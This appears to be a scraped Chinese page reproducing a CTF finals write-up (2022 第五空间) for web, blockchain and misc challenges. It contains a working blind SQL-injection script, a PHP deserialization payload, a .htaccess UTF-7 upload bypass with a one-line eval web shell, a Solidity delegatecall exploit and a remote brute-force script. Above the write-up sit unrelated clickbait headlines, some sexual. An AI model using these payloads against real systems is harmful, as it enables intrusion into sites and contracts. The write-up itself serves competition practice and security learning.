人民日报林治波社长发出灵魂拷问:你们是没有常识,还是没有良知?

惨烈的高峰防御战—“圣元春战役”打响!

母子乱伦:和儿子做了,我该怎么办?

一定在信仰的指导下抗击疫情《马克思主义信仰:战胜新冠肺炎疫情的内生力量》

2021年推特网黄Top10排行榜

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

2022第五空间决赛WriteUp|web、misc方向合集

WEB


01  easysqli


注入发现information_schema被过滤,换成sys.schema_table_statistics_with_buffer,空格用/**/代替。


没跑出列名,直接用无列名注入了,flag表是一个提示:
直接去跑users得到账号密码EXP如下:


import requests


tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,_.+-}{'
flag = ""

url = "http://39.106.143.69:27538"
for i in range(1,50):
for j in tables:
#payload = "/index.php?id=-3'or/**/if((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer)regexp/**/binary/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j))
#payload = "/index.php?id=-3'or/**/if((select/**/group_concat(x.1)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/flag)x)regexp/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j))
payload = "/index.php?id=-3'or/**/if((select/**/group_concat(x.2)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)x)regexp/**/binary/**/'%s',exp(710),1)/**/or'-1"%(('^'+flag+j)) 
r = requests.get(url+payload)
if "没有这个星" in r.text:
flag = flag + j
print(flag)
break


最后根据提示UA加上universe PCAccept加上application/flag,登陆就能得到flag




02
easyupload 
提示源码:


得到源码,绕过过滤很简单,PHP函数和类都不区分大小写的直接换个大小写绕过即可
class Gethint{
protected $value=0;

public function __destruct(){
    echo $this->value;
    if($this->value==1)
        show_flag();
    else
        die('nonono');
}

}
$hh=$_GET['hh'];
$hh=str_replace('Gethint'''$hh);
unserialize($hh); 
PayloadO:7:"GEthint":1:{S:8:"\00*\00value";i:1;},还是一个提示

上传直接UTF-7绕过即可

.htaccess

AddType application/x-httpd-php .aaa
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

一句话:
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4
03  can_you_be_rich
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CTFToken is ERC20,Ownable {
 bool airdropped;

 constructor() ERC20("CTFToken""CTF") {
     _mint(address(msg.sender), 100000000000);
 }

 function airdrop(uint num) public onlyOwner {
     require(!airdropped, "Already airdropped");
     airdropped = true;
     _mint(msg.sender, num);
 }
}
contract  Vuln {
 CTFToken public  token;
 bool solved;
 constructor()  public  {
     token=new CTFToken();
 }
 function set(address _contract) public  {
     (bool success, bytes memory data) = _contract.delegatecall(
         abi.encodeWithSignature("set()")
     );
     require(success, "delegatecall  failed");
     require(!solved, "");
 }
 function solve() public{
     require(token.balanceOf(msg.sender)>=100000000000);
     solved=true;
 }
 function isSolved()  public view returns(bool){
     return solved;
 }

}

contract delegate {
 
 // 括号里填CTFToken的地址
 CTFToken token = CTFToken(0x3aD18EC437c396539C439CD1A4721B01F2800b1A);

 function set() public {
     token.airdrop(100000000000);
 }
}
contract delegate1 {
  
  // 括号里填CTFToken的地址
 CTFToken token = CTFToken(0x3aD18EC437c396539C439CD1A4721B01F2800b1A);

 function set() public {
   // 第一个参数为POC合约地址
     token.transfer(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9, 100000000000);
 }
}

contract POC {
 // 括号里填Vuln合约地址
 Vuln vul = Vuln(0xddaAd340b0f1Ef65169Ae5E41A8b10776a75482d);

 function go(address dele) public {
     vul.set(dele);
 }

 function go1(address dele1) public {
     vul.set(dele1);
 }
 function go2() public {
     vul.solve();
 }
}
步骤
1.修改参数部署并POC合约。
2.部署delegate合约。
3.修改参数部署delegate1合约。
4.调用POC合约go函数,参数为delegate合约的地址。
5.调用POC合约go1函数,参数为delegate1合约地址。
6.调用POC合约go3函数。
0xd86920b63C6974369a296659f62Ded1B238177f3
v4.local.UckgmAQV_9Qc4vpM0Iqq5h6s7Z1I6QlV1RoB0b7Xh8gn91CeS2ece7GBiH8dkgjAsL3GcJfF7y-ALceNkf1nNFKfrCwo6yT5UGu96Qp8wN8qn0oNSBV2V17T9tyyuWEda7jovVe-qKr-bPryiRqFtNCW6qnz-t0TVBl-iS0r8qzACA
contract address: 0x42B659e8AF2F25e81d327e36f4CfeDeF9bB0a323
token:0xfDE23346cDb712739A6f0E119CDd479ee5DeFB16


MISC

01
 D1fFeReNcE_F@1G

可以看到如果存在字符串则为0.9....,不存在则为1.0

然后如果存在两个字符串数字就变小,试一下三个字符,发现数字变大,说明不存在三个字符。

这样就可以找到了所有的字符串:578epasdfghjlvn{}gl,猜测为flag{},那么剩下的字符为578epsdghjvnl

再说明一点,如果j在8的右边,则数字变小,d不在8的右边则增大,那么根据这个规律写脚本爆破。

from pwn import *

p = remote("39.107.27.191", 20853)

str = "578epsdghjvnl}"

for i in str:
print(i+" : ")
str2 = str.replace(i, '', 1)
#print(str2)
for j in str2:
    payload = "flag{"+i+j
    #print(payload)
    p.sendlineafter('flag> ',payload)
    p.recvuntil('')
    s = p.recv(16)
    print(s)
    
p.interactive()


可以看到5的话数字全部都是最小的,说明下一个字符串就是5,依次爆破即可,最后得到flag:
flag{5lgpsnd8j7vhe}
       

文章有问题?点此查看未经处理的缓存